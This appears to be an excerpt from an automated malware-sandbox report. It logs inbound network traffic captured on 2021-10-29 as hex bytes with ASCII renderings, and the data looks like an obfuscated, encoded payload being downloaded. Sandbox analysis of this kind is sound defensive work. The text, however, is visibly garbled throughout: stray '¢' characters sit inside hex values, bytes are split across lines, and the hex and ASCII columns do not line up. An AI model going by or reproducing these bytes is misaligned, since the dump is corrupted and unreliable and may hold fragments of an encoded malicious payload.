Data Ascii: cY NcV NNV YC YV Vc N Ir NNr NVM LC MV YC rl Yc ¢l rwW NNL NNM VW Nr rr rl YC ¢C NVr NCW NNM
NCW NVV WL WV YC Yr Wr VW rL NCW NNV Yc LY YM LW Wr WC ML NCW NNV Yc VW WV LW WY WC ML NCW
NNV Yc VW IM LC YV NNr NNM NCL WM Yc Vr NVN Yr Ir NVC Ve NV NNV YC YI LL

2021-10-29 18:29:53 UTC 1280 IN Data Raw: 63 49 20 59 43 20 56 63 20 4c 59 20 49 72 20 4e 4e 72 20 4e 4e 59 20 4c 4e 20 49 59 20 59 72 20 72 49 20 63
63 20 4c 43 20 4e 72 4e 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4d 20 49 49 20 59 63 20 72 49 20 59 43 20 56 57 20 49 4d 20
4e 4e 49 20 56 63 20 4e 4c 4c 20 4e 4e 4c 20 59 43 20 59 72 20 56 72 20 59 72 20 4d 4e 20 63 63 20 4e 56 63 20 4e 43
57 20 57 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 4e 4e 20 49 49 20 4c 57 20 72
49 20 59 43 20 72 49 20 4c 49 20 72 59 20 4e 4e 4c 20 4e 43 57 20 43 20 56 63 20 56 4c 4c¢ 20 59 43 20 59 72 20 49 56
20 57 43 20 4e 56 63 20 4e 43 57 20 4e 4e 56 20 56 59 20 59 4e 20 59 72 20 59 4e 20 57 43 20 4e 4e 49 20 4e 56 4c 20
4e 43 72 20 4e 56 63 20 59 56 20 63 56 20 59 4c¢ 20 59 63 20 57 56 20 4e
Data Ascii: ¢l YC Vc LY Ir NNr NNY LN IY Yr rl cc LC NrN NNr NNM NCM 11 Yc rl YC VW IM NNI Ve NLL NNL YC Yr Vr
Yr MN cc NVe NCW WV YC rl YC Yr Ir NNr NNM NNN I LW rl YC rl LI rY NNL NCW C Vc VLL YC Yr IV WC NVc NCW
NNV VY YN Yr YN WC NNI NVL NCr NVc YV ¢V YL Yc WV N

2021-10-29 18:29:53 UTC 1282 IN Data Raw: 20 4e 49 4d 20 63 43 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 4e 56 59 20 59 4c 20 59 59 20 4e 49 49 20 57 59
20 4d 59 20 57 49 20 72 72 20 4e 43 4e 20 4e 43 56 20 72 59 20 4c 56 20 56 63 20 49 57 20 49 72 20 4e 4e 72 20 4e 56
4d 20 4e 43 63 20 4e 43 56 20 59 57 20 4c 49 20 59 4c 20 4e 49 72 20 63 4e 20 4e 56 56 20 56 59 4e 20 72 20 72 4e 20
56 63 20 57 59 20 59 43 20 59 72 20 57 72 20 4e 20 4e 43 56 20 4e 43 57 20 4e 4e 56 20 59 56 20 59 4e 20 59 56 20 4c
72 20 57 4c 20 4e 56 56 20 56 63 20 4d 4d 20 4e 4e 56 20 59 43 20 59 72 20 4c 4c 20 59 43 20 4e 4c 49 20 4e 4e 57 20
49 4c 20 4e 4d 57 20 4e 4e 56 20 4c 49 20 56 63 20 4c 59 20 59 43 20 4e 56 63 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20
57 63 20 59 43 20 72 49 20 59 43 20 59 72 20 4d 72 20 4e 4e 72 20 4e 4d
Data Ascii: NIM cC NNr NNM NCI NVY YL YY NIl WY MY WI rr NCN NCV rY LV Vc IW Ir NNr NVM NCc NCV YW LI YL
NIr cN NVV VYN r rN Ve WY YC Yr Wr N NCV NCW NNV YV YN YV Lr WL NVV Ve MM NNV YC Yr LL YC NLI NNW IL
NMW NNV LI Ve LY YC NVe NNr NNM NCI Wce YC rl YC Yr Mr NNr NM

2021-10-29 18:29:53 UTC 1283 IN Data Raw: 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 4d 56 20 56 72 20 4d 4e 20 59 72 20 49 72 20 4e 56 43 20 4e 4e 56 20

56 20 43 20 59 43 20 72 49 20 59 63 20 63 4e 20 49 63 20 4e 4e 63 20 4d 20 56 72 43 20 4e 4e 4d 20 59 43 20 63 72 20
59 4¢ 20 72 57 20 56 4e 49 20 56 4d 20 57 57 20 63 57 20 4e 43 4d 20 59 43 20 72 49 20 59 56 20 56 63 20 49 56 20 4e
20 72 20 4e 43 57 20 4e 4e 56 20 59 63 20 4d 72 20 59 56 20 56 49 20 4d 4e 20 63 63 20 4e 56 4d 20 4e 43 57 20 56 72
4e 20 59 43 20 72 49 20 59 43 20 4c 59 20 49 72 20 4e 4e 72 20 4e 43 43 20 4e 4e 4e 20 4e 4e 59 20 63 72 20 4e 4c 59
2059 59 20 59 72 20 4c 63 20 57 43 20 49 4e 20 4e 43 57 20 4e 4e 56 20 59 56 20 4c 49 20 56 63 20 63 57 20 49 72 20
4e 4e 72 20 4e 56 4d 20 4e 43 4c 20 4e 4e 49 20 56 63 20 4d 43 20 59 43 20

Data Ascii: NNM NCW NVV MV Vr MN Yr Ir N\VC NNV V C YC rl Yc cN Ic NNc M VrC NNM YC cr YL rW VNI VM WW cW
NCM YC rl YV Ve IV N NCW NNV Yc Mr YV VI MN cc NVM NCW VrN YC rl YC LY Ir NNr NCC NNN NNY cr NLY YY Yr
Lc WC IN NCW NNV YV LI Ve cW Ir NNr NVM NCL NNI Ve MC YC

2021-10-29 18:29:53 UTC 1284 IN Data Raw: 49 56 20 59 72 20 49 72 20 4e 56 43 20 4e 43 63 20 57 4d 20 56 59 4c 20 4e 43 72 20 72 49 20 59 43 20 59 59
20 4e 4e 4c 20 4e 63 56 20 4e 4c 59 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 72 20 59 20 59 72 20 49 72 20 4e 56 43 20
63 20 49 59 20 4e 4e 56 20 59 43 20 59 49 20 56 63 20 49 49 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 4e 4e 20 4c 4e 20
63 63 20 72 49 20 59 43 20 63 43 20 49 4d 20 4e 4e 49 20 57 4c¢ 20 4d 72 20 4e 4e 56 20 59 43 20 59 72 20 57 4c 20 49
4d 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4d 4e 20 4e 4e 56 20 59 43 20 72 4c 20 56 20 59 4c 20 49 72 20 4e 4e 4e 20 4e
4e 4d 20 4e 43 57 20 4e 4e 56 20 4c 4c 20 72 49 20 59 43 20 4¢ 57 20 49 63 20 57 72 20 4e 4e 4c 20 4e 4e 4e 20 56 59
72 20 4c 4e 20 59 56 20 4c 49 20 63 43 20 4e 4c 49 20 57 49 20 4e 4e 57
Data Ascii: IV Yr Ir NVC NCc WM VYL NCr rl YC YY NNL NcV NLY NCW NNV Yr Vr Y Yr Ir NVC ¢ IY NNV YC YI Ve Il Ir
NNr NVM NNN LN cc rl YC ¢cC IM NNI' WL Mr NNV YC Yr WL IM Ir NNr NVM MN NNV YC rL V YL Ir NNN NNM NCW
NNV LL rl YC LW Ic Wr NNL NNN VYr LN YV LI cC NLI WI NNW

2021-10-29 18:29:53 UTC 1285 IN Data Raw: 56 20 4e 43 63 20 72 43 20 63 72 20 4e 56 72 20 59 56 20 63 63 20 4e 4e 63 20 72 57 20 49 72 20 56 20 57 4c
20 4d 43 20 4e 4e 56 20 59 43 20 59 49 20 59 63 20 72 57 20 63 4d 20 72 56 20 4e 56 63 20 4e 43 63 20 4e 4e 72 20 57
4c 20 4e 4d 49 20 59 43 20 59 72 20 57 72 20 4d 4d 20 4c 57 20 4e 72 63 20 4e 72 4¢ 20 56 43 59 20 59 72 20 56 72 20
59 72 20 49 72 20 4e 4e 72 20 4e 43 56 20 57 4c 20 4e 4e 4d 20 59 43 20 4e 4e 56 20 59 43 20 59 72 20 49 72 20 4e 43
4d 20 4e 4e 4d 20 4e 43 57 20 57 4d 20 63 59 20 4e 4d 57 20 59 43 20 59 72 20 57 72 20 4e 56 43 20 57 57 20 4e 43 56
20 57 4e 20 56 43 20 59 72 20 72 49 20 72 57 20 59 57 20 49 59 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 72 57 20 59 59
20 72 57 20 49 57 20 56 43 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4¢c 20 72
Data Ascii: V NCc rC cr NVr YV cc NNc rW Ir V WL MC NNV YC Y1 Yc rW cM rV NVe NCc NNr WL NMI ' YC Yr Wr MM LW
Nrc NrL VCY Yr Vr Yr Ir NNr NCV WL NNM YC NNV YC Yr Ir NCM NNM NCW WM cY NMW YC Yr Wr NVC WW NCV
WN VC Yrrl rtW YW IY NNM NCW NVV rW YY rW IW VCI NNr NNM NCL r

2021-10-29 18:29:53 UTC 1287 IN Data Raw: 20 4e 56 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 72 4e 20 43 20 59 4e 20 59 72 20 63 59 20 4e 4e 72 20 4e
4e 4d 20 4e 43 57 20 4e 43 4d 20 59 43 20 72 49 20 4c 59 20 59 56 20 72 4d 20 4e 4e 56 20 4e 4e 4d 20 4e 43 57 20 4e
4e 63 20 57 4c¢ 20 59 43 20 59 4e 20 59 72 20 49 56 20 4e 56 43 20 4e 4d 4e 20 4e 43 72 20 49 63 20 4c 63 20 59 49 20
56 4c 63 20 59 72 20 49 56 20 49 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 4e 20 4¢ 56 20 59 43 20 59 72 2049 72 2
0 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 56 63 20 63 43 20 72 49 20 59 59 20 59 4d 20 49 72 20 4e 4e 72 20 4e 4e 63
20 4e 4e 49 20 63 72 20 72 49 20 72 49 20 4c 4d 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 43 20 4e 43 57 20 4e 4e 56 20
4c 59 20 59 43 20 4d 4c 20 59 56 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 4e
Data Ascii: NVY NNM NCW NNL rN C YN Yr cY NNr NNM NCW NCM YC rl LY YV rM NNV NNM NCW NNc WL YC YN
Yr IV NVC NMN NCr Ic Lc YI VLe Yr IV I NNM NCW NNV YN LV YC Yr Ir NNr NNM NCW NVc cC rl YY YM Ir NNr NN¢
NNIcrrlrl LM Yr Ir NNr NNC NCW NNV LY YC ML YV Ir NNr NNL N
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:53 UTC 1288 IN Data Raw: 4c 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 4e 56 56 20 56 4c 63 20 59 4c 20 56 43 20 4c 56 20 57 72 20 4e 4d

56 20 4e 4e 4d 20 4e 43 4d 20 57 43 20 59 43 20 72 49 20 59 4e 20 4c 49 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57
20 4e 4e 56 20 59 43 20 63 4c 20 63 4e 20 59 72 20 49 4e 20 4e 56 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4¢ 20 72 4e 20
4320 72 49 20 59 72 20 63 63 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 43 49 20 59 43 20 72 49 20 4c 59 20 59 56 20
72 4d 20 4e 4e 56 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 72 57 20 57 59 20 4c 63 20 59 59 20 49 72 20 4e 4e 63 20 4e
56 4d 20 4e 4d 57 20 4e 4e 4d 20 56 43 20 4c¢ 49 20 59 63 20 56 4c 56 20 49 72 20 4e 4e 63 20 57 59 20 4e 43 57 20 4e
4e 56 20 59 4e 20 4c 56 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e

Data Ascii: L NNY NNM NCM NVV VLc YL VC LV Wr NMV NNM NCM WC YC rl YN LI Ir NNr NNM NCW NNV YC cL cN
YrIN NVY NNM NCW NNL rN C rl Yr cc NNr NNM NCW NCI YC rl LY YV rM NNV NNM NCW NNc rW WY Lc YY Ir NNc
NVM NMW NNM VC LI Yc VLV Ir NNc WY NCW NNV YN LV YC Yr Ir NNr NN

2021-10-29 18:29:53 UTC 1289 IN Data Raw: 20 59 43 20 72 56 20 49 72 20 4e 4e 72 20 4e 43 43 20 4e 4e 4e 20 4e 4e 20 72 49 20 72 49 20 59 43 20 59
43 20 49 4d 20 56 57 20 4e 43 56 20 4e 43 49 20 4e 4e 56 20 59 56 20 59 49 20 56 4c 63 20 59 4e 20 4e 4e 72 20 4e 43
43 20 4e 56 4d 20 4e 4d 57 20 4e 4e 56 20 59 56 20 56 63 20 59 43 20 59 72 20 49 59 20 57 49 20 4e 4e 4d 20 4e 43 57
20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 4d 20 57 4e 20 4e 4e 72 20 4e 4e 56 20 57 49 20 4e 4e 56 20 59 43 20 72
57 20 72 4e 20 63 20 49 63 20 4e 4e 72 20 57 57 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 72 20 59 43 20 59 72 20 63 57
20 4e 4e 56 20 4e 72 20 4e 4e 4e 20 4e 4e 56 20 59 43 20 59 56 20 72 57 20 49 57 20 57 72 20 4e 4e 59 20 4e 4e 4d 20
4e 43 4d 20 4e 56 56 20 56 4c 63 20 59 4c 20 56 43 20 4c 56 20 57 72 20 4e
Data Ascii: YC rV Ir NNr NCC NNN NN rl rl YC YC IM VW NCV NCI NNV YV Yl VLc YN NNr NCC NVM NMW NNV YV
Ve YC Yr IY WINNM NCW NNV YC rl YC YM WN NNr NNV WI NNV YC rW rN ¢ Ic NNr WW NCW NNV YC rr YC Yr cW
NNV Nr NNN NNV YC YV rW IW Wr NNY NNM NCM NVV VLc YL VC LV Wr N

2021-10-29 18:29:53 UTC 1291 IN Data Raw: 57 63 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 43 4c 20 4e 56 4d 20 4e 4e 56 20 63 56
2063 4c 20 59 43 20 59 72 20 49 59 20 4e 43 59 20 63 57 20 4e 4e 43 20 4e 4e 56 20 72 56 20 72 49 20 59 43 20 59 72
20 4d 57 20 4e 4e 72 20 4e 4e 4d 20 4e 56 72 20 4e 4e 72 20 4d 4c 20 59 43 20 59 43 20 59 72 20 49 43 20 4e 4e 4c 20
4e 4e 4c 20 56 20 4e 43 59 20 59 4e 20 72 49 20 59 56 20 4c 4c 20 57 72 20 4e 4d 56 20 4e 4e 56 20 4d 59 20 4e 43 56 2
059 63 20 56 4c 49 20 59 43 20 72 49 20 4e 56 63 20 4e 4e 59 20 4e 43 4e 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49
20 59 43 20 59 72 20 63 57 20 57 57 20 4e 4e 4d 20 4e 43 72 20 4e 56 4d 20 59 43 20 72 49 20 59 4e 20 4e 56 20 49 63
20 4e 43 4e 20 56 63 20 4c 63 20 4e 4e 56 20 59 43 20 59 72 20 72 49 20
Data Ascii: Wc YC rl YC Yr Ir NNr NCL NVM NNV cV cL YC Yr IY NCY cW NNC NNV rV rl YC Yr MW NNr NNM NVr NNr
ML YC YC Yr IC NNL NNL V NCY YN rl YV LL Wr NMV NNV MY NCV Yc VLI YC rl NVc NNY NCN NCW NNV YC rl YC
Yr cW WW NNM NCr NVM YC rl YN NV Ic NCN Ve Lc NNV YC Yrrl

2021-10-29 18:29:53 UTC 1292 IN Data Raw: 20 59 59 20 59 72 20 49 72 20 4e 4e 49 20 4e 4e 20 4e 43 63 20 4e 4e 56 20 59 43 20 59 56 20 56 63 20 56
4d 2049 72 20 4e 4e 72 20 4e 4e 59 20 63 57 20 4e 57 59 20 59 4e 20 72 49 20 59 56 20 4c 57 20 57 72 20 4e 56 4d 20
4e 4e 20 4e 43 4e 20 4e 4e 56 20 59 43 20 59 56 20 56 63 20 4e 49 57 20 49 72 20 4e 4e 72 20 4e 4e 59 20 4e 56 63 20
4e 4e 63 20 56 59 20 59 49 20 4e 49 20 4e 57 43 20 4d 4e 20 4e 4e 72 20 4e 4e 4d 20 63 57 20 56 4c 57 20 59 43 20 72
49 20 59 63 20 4c 57 20 49 43 20 4e 4e 63 20 4e 56 59 20 4e 56 4d 20 4e 4e 59 20 57 4c 20 4e 49 59 20 59 43 20 59 72
20 49 56 20 57 72 20 4e 59 63 20 4e 43 43 20 57 57 20 59 59 20 4c 72 20 59 59 20 63 57 20 56 4e 63 20 4e 4e 59 20 4e
4e 4d 20 4e 43 4d 20 49 49 20 4e 72 4¢c 20 72 57 20 59 43 20 72 49 20 4d 43
Data Ascii: YY YrIr NNI NN NCc NNV YC YV Vc VM Ir NNr NNY ¢W NWY YN rl YV LW Wr NVM NN NCN NNV YC YV
Ve NIW Ir NNr NNY NVe NNc VY YIENIENWC MN NNr NNM cW VLW YC rl Yc LW IC NNc NVY NVM NNY WL NIY YC Yr
IV Wr NYc NCC WW YY Lr YY cW VNc NNY NNM NCM II NrL rW YC rl MC

2021-10-29 18:29:53 UTC 1294 IN Data Raw: 4e 59 20 4c 43 20 4e 4e 72 20 72 49 20 72 49 20 59 56 20 63 43 20 4d 59 20 4e 56 59 20 56 72 49 20 57 57
20 4e 4e 56 20 59 43 20 59 43 20 56 4c 20 4c¢ 56 20 63 72 20 4e 72 43 20 4e 4e 59 20 59 4c 20 4e 4e 56 20 59 43 20 59
72 20 63 59 20 4e 49 4c 20 49 72 20 4e 4e 72 20 4e 4e 59 20 56 43 4d 20 49 59 20 4c 4d 20 4c 63 20 56 43 72 20 72 49 2
0 4e 4c 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4d 20 4c 20 4e 4d 57 20 72 49 20 59 43 20 72 49 20 56 72 63 20 49 4d 20 4e 43
57 20 4e 56 4e 20 4e 72 56 20 59 56 20 4e 43 63 20 59 43 20 59 72 20 49 56 20 4e 20 56 72 72 20 4e 43 57 20 4e 4e 56
2059 56 20 4e 72 63 20 56 4c 20 72 4d 20 63 72 20 4e 72 43 20 4e 4e 59 20 59 72 20 4e 4e 56 20 59 43 20 59 72 20 63
59 20 4e 49 4c 20 49 72 20 4e 4e 72 20 4e 4e 59 20 56 43 4d 20 49 59 20
Data Ascii: NY LC NNr rl rl YV ¢cC MY NVY Vrl WW NNV YC YC VL LV cr NrC NNY YL NNV YC Yr cY NIL Ir NNr NNY
VCM 1Y LM Lc VCr rl NL NNr NNM NCM L NMW rl YC rl Vrc IM NCW NVN NrV YV NCc YC Yr IV N Vir NCW NNV YV Nr
¢ VL rM cr NrC NNY Yr NNV YC Yr cY NIL Ir NNr NNY VCM IY

2021-10-29 18:29:53 UTC 1295 IN Data Raw: 4e 4e 49 20 59 56 20 56 43 63 20 59 56 20 59 43 20 49 63 20 4e 4e 72 20 4e 4e 59 20 4c 43 20 56 4e 4c 20 59
4320 72 49 20 59 63 20 4c 43 20 63 49 20 4e 4e 72 20 4e 4e 4d 20 4d 43 20 49 49 20 4c 59 20 72 49 20 59 43 20 56 57
20 4e 56 72 20 56 59 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 56 72 20 56 56 20 72 57 20 59 43 20 49 4e 20 57 43 20
59 49 20 4e 43 57 20 4e 4e 56 20 59 56 20 56 63 20 59 43 20 59 72 20 4d 57 20 63 63 20 4e 4e 4c 20 4e 43 57 20 59 4d
2059 4e 20 72 49 20 59 43 20 72 4e 20 49 72 20 4e 4e 72 20 4e 43 43 20 4e 43 59 20 4¢ 20 4e 57 43 20 72 57 20 59 43
20 72 49 20 4e 4e 4c 20 4e 20 56 4e 43 20 4e 43 57 20 4e 4e 56 20 59 63 20 57 59 20 57 4¢ 20 59 59 20 49 72 20 4e 4e
63 20 49 43 20 4c 43 20 4e 43 59 20 59 43 20 72 49 20 59 63 20 49 57 20
Data Ascii: NNI YV VCc YV YC Ic NNr NNY LC VNL YC rl Yc LC ¢l NNr NNM MC I LY rl YC VW NVr VYC NNM NCW
NNI Vr VV W YC IN WC YI NCW NNV YV Vc YC Yr MW cc NNL NCW YM YN rl YC rN Ir NNr NCC NCY L NWC rw YC
rl NNL N VNC NCW NNV Yc WY WL YY Ir NNc IC LC NCY YC rl Yc IW

2021-10-29 18:29:53 UTC 1296 IN Data Raw: 43 20 4e 49 20 49 72 20 4e 4e 72 20 4e 4e 63 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 56 4e 63 20 59
72 2049 72 20 4e 4e 72 20 4e 56 63 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 57 49 20 59 43 20 59 72 20 49 72 20 4e 4e
4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 63 4e 20 72 49 20 59 43 20 59 59 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43
57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 4e 4e 57 20 49 59 20 4e 4e 72 20 4e 4e 4d 20 72 72 20 4e 4e 4c 20 59 43
20 72 49 20 59 4e 20 59 72 20 49 72 20 4e 4e 72 20 49 4e 20 4e 43 57 20 4e 4e 56 20 59 4e 20 72 49 20 59 43 20 59 72
20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 4e 59 20 72 57 20 59 43 20 59 72 20 56 56 20 4e 4e 59
20 4e 4e 4d 20 4e 43 57 20 4e 4e 4d 20 59 43 20 72 49 20 59 43 20 59 4d 20
Data Ascii: C NI Ir NNr NNc NCW NNV YC rl VNc Yr Ir NNr NVe NCW NNV YC NWI YC Yr Ir NNL NNM NCW NNV cN rl
YC YY Ir NNr NNM NCW NNV YC rl YC NNW IY NNr NNM rr NNL YC rl YN Yr Ir NNr IN NCW NNV YN rl YC Yr Ir NNr
NNM NCW NNV NNY rw YC Yr VV NNY NNM NCW NNM YC rl YC YM

2021-10-29 18:29:53 UTC 1298 IN Data Raw: 57 20 4e 57 72 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 72 20 4e 4c 57 20 59 59 20 49 72 20 4e 4e 63 20 4e 4e
4c 20 63 57 20 4e 59 43 20 59 43 20 72 49 20 59 56 20 4c 43 20 56 56 4d 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 43
20 4c 4c 20 43 20 63 56 20 59 72 20 4e 57 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59
43 20 59 43 20 72 56 20 4e 4e 4d 20 4e 4e 63 20 4e 43 57 20 4e 4e 63 20 4c 4e 20 56 43 20 4c 63 20 56 4c 43 20 4e 56 2
0 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 49 49 20 4e 4c 49 20 72 49 20 59 43 20 63 43 20 4e 4c 56 20 4e 56 63 20 4e 4e
4d 20 4e 43 57 20 4e 4e 72 20 56 63 20 4e 4c 63 20 59 43 20 59 72 20 57 72 20 57 43 20 56 43 72 20 4e 43 57 20 4e 4e
56 20 59 63 20 56 72 20 4e 4c 63 20 59 72 20 49 72 20 4e 56 43 20 56 72
Data Ascii: W NWr NCW NNV Yc Vr NLW YY Ir NNc NNL cW NYC YC rl YV LC VWM NNY NNM NCM WC LL C ¢V Yr N
Wr NNr NNM NCW NNV YC rl YC YC rV NNM NNc NCW NNc LN VC Lc VLC NV NNr NNM NCI I NLI rl YC ¢C NLV NVc
NNM NCW NNr Ve NLc YC Yr Wr WC VCr NCW NNV Yc Vr NLc Yr Ir NVC Vr
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:53 UTC 1299 IN Data Raw: 4e 43 57 20 4e 4e 49 20 4c 59 20 59 56 20 57 4c 20 56 72 43 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 4e 4e 20

4e 4e 49 20 57 4c 20 4e 43 20 59 43 20 59 72 20 49 56 20 49 4d 20 4e 43 57 20 57 72 20 4e 56 43 20 72 49 20 59 4e 20
59 72 20 4c 43 20 4e 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4d 20 4e 43 59 20 4e 20 59 72 20 63 59 20 4e 59 4d 20 49 72
20 4e 4e 72 20 4e 56 4d 20 56 4c 20 57 43 20 59 43 20 72 49 20 59 4e 20 72 56 20 49 72 20 4e 4e 72 20 4e 4e 57 20 4e
4357 20 57 4d 20 59 43 20 72 72 20 4c 4e 20 59 72 20 57 43 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 72 49
20 72 49 20 4e 4e 63 20 59 72 20 4d 56 20 4e 63 20 4e 4e 4d 20 57 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 4e 4d
63 20 49 63 20 57 43 20 4e 4d 4e 20 4e 43 57 20 4e 4e 56 20 59 56 20 57

Data Ascii: NCW NNI LY YV WL VrC Ir NNr NVM NNN NNI'WL NC YC Yr IV IM NCW Wr NVC rl YN Yr LC NV NNr NNM
NCM NCY N YrcY NYM Ir NNr NVM VL WC YC rl YN rV Ir NNr NNW NCW WM YC rr LN Yr WC NNr NNM NCW NNV rl

I NNc Yr MV Nc NNM WW NNV YC rl YC NMc Ic WC NMN NCW NNV YV W

2021-10-29 18:29:53 UTC 1300 IN Data Raw: 4¢ 20 49 4e 20 49 59 20 4e 4e 72 20 4e 4e 59 20 63 57 20 4e 56 59 20 59 43 20 72 49 20 59 56 20 49 57 20
4e 59 4d 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 4e 4e 72 20 59 56 20 57 59 20 4d 20 59 72 20 49 72 20 4e 4e 63 20 49
43 20 4e 4e 4d 20 63 4d 20 59 49 20 59 43 20 72 57 20 59 43 20 4e 56 72 20 4e 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49
20 72 4c 20 4c 20 59 56 20 63 57 20 56 59 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 4e 43 20 56 72 20 4e 72 56 20 72
57 20 49 57 20 4d 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 56 20 56 43 20 59 43 20 72 57 20 49 57 20 59 59 20 4e 4e
59 20 4e 4e 4d 20 4e 43 4d 20 49 49 20 4e 49 57 20 72 49 20 59 43 20 72 49 20 59 57 20 72 49 20 4e 4e 4d 20 4e 43 57
20 4e 4e 49 20 56 4c 20 72 43 20 4e 20 63 56 20 49 63 20 4e 4e 4c 20 4e 4e
Data Ascii: L IN IY NNr NNY ¢W NVY YC rl YV IW NYM NNr NNM NCL NNr YV WY M Yr Ir NNc IC NNM cM YI YC rw
YC NVr NI NNM NCW NNIrL L YV cW VYY NNr NNM NCL NC Vr NrV rW IW M NNY NNM NCM WV VC YC rW IW YY
NNY NNM NCM I NIW rl YC rl YW rl NNM NCW NNI VL rC N cV Ic NNL NN

2021-10-29 18:29:53 UTC 1302 IN Data Raw: 4d 4d 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 56 43 20 59 43 20 4c 4d 20 4e 49 4d 20 4e 56 4d 20 4e 4e 72 20
4e 4e 4d 20 4e 4e 4e 20 49 59 20 4c 63 20 63 4d 20 4e 59 59 20 59 72 20 49 72 20 4e 4e 63 20 56 4e 59 20 63 57 20 56
59 4c 20 59 43 20 72 49 20 59 56 20 49 57 20 56 4e 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4d 20 49 63 20 56 72 20 72 49 20
59 43 20 59 72 20 4d 4e 20 63 63 20 4e 4e 56 20 4e 43 57 20 4e 57 56 20 59 4e 20 72 49 20 59 43 20 4e 57 20 49 72 20
4e 4e 72 20 4e 43 43 20 4e 4e 4e 20 49 49 20 4e 49 72 20 72 49 20 59 43 20 72 49 20 4c 57 20 4e 4e 57 20 4e 4e 57 20
4e 43 57 20 4e 4e 49 20 59 63 20 72 4d 20 63 4e 20 4e 49 4d 20 57 43 20 4e 4e 72 20 4e 4e 4d 20 4e 4e 4e 20 49 59 20
4c 63 20 4c 63 20 56 43 72 20 72 49 20 4c 49 20 4e 4e 72 20 4e 4e 4d 20
Data Ascii: MM NNM NCW NNI VC YC LM NIM NVM NNr NNM NNN 1Y Lc cM NYY Yr Ir NNc VNY cW VYL YC rl YV IW
VN NNr NNM NCM Ic Vr rl YC Yr MN cc NNV NCW NWV YN rl YC NW Ir NNr NCC NNN Il NIr rl YC rl LW NNW NNW
NCW NNI Yc rM cN NIM WC NNr NNM NNN 1Y Lc Lc VCr rl LI NNr NNM

2021-10-29 18:29:53 UTC 1303 IN Data Raw: 63 57 20 56 72 49 20 59 43 20 72 49 20 59 56 20 72 49 20 4c 57 20 56 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 56
56 20 4d 57 20 59 63 20 59 4e 20 59 72 20 49 43 20 57 43 20 56 72 43 20 4e 43 57 20 4e 4e 56 20 59 56 20 59 72 20 56
437220 72 49 20 49 56 20 4e 4e 56 20 4e 4e 4d 20 4e 43 4d 20 4c 20 4e 59 4e 20 72 49 20 59 43 20 63 43 20 4e 56 72
20 57 49 20 4e 4e 4d 20 4e 43 57 20 57 4e 20 56 63 20 4c 4c 20 59 43 20 59 72 20 4e 56 4d 20 57 43 20 56 72 4c 20 4e
43 57 20 4e 4e 56 20 59 56 20 56 72 20 4e 49 4e 20 59 72 20 49 72 20 4e 4e 63 20 4e 4e 59 20 4e 72 4d 20 4e 4e 49 20
59 4c 20 59 43 20 59 43 20 72 49 20 4c 57 20 56 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 56 63 20 4c 56 20 59 43
20 59 72 20 4e 56 4d 20 57 43 20 4e 43 43 20 4e 43 57 20 4e 4e 56 20 56
Data Ascii: cW Vrl YC rl YV rl LW VNr NNM NCW NVV MW Yc YN Yr IC WC VrC NCW NNV YV Yr VCr rl IV NNV NNM
NCM L NYN rl YC cC NVr WI NNM NCW WN Ve LL YC Yr NVM WC VrL NCW NNV YV Vr NIN Yr Ir NNc NNY NrM NNI
YLYC YCrl LW VNY NNM NCW NVV Vc LV YC Yr NVM WC NCC NCW NNV V

2021-10-29 18:29:53 UTC 1304 IN Data Raw: 56 4e 63 20 59 72 20 49 72 20 4e 4e 72 20 4e 56 63 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 57 4d 20 59 43
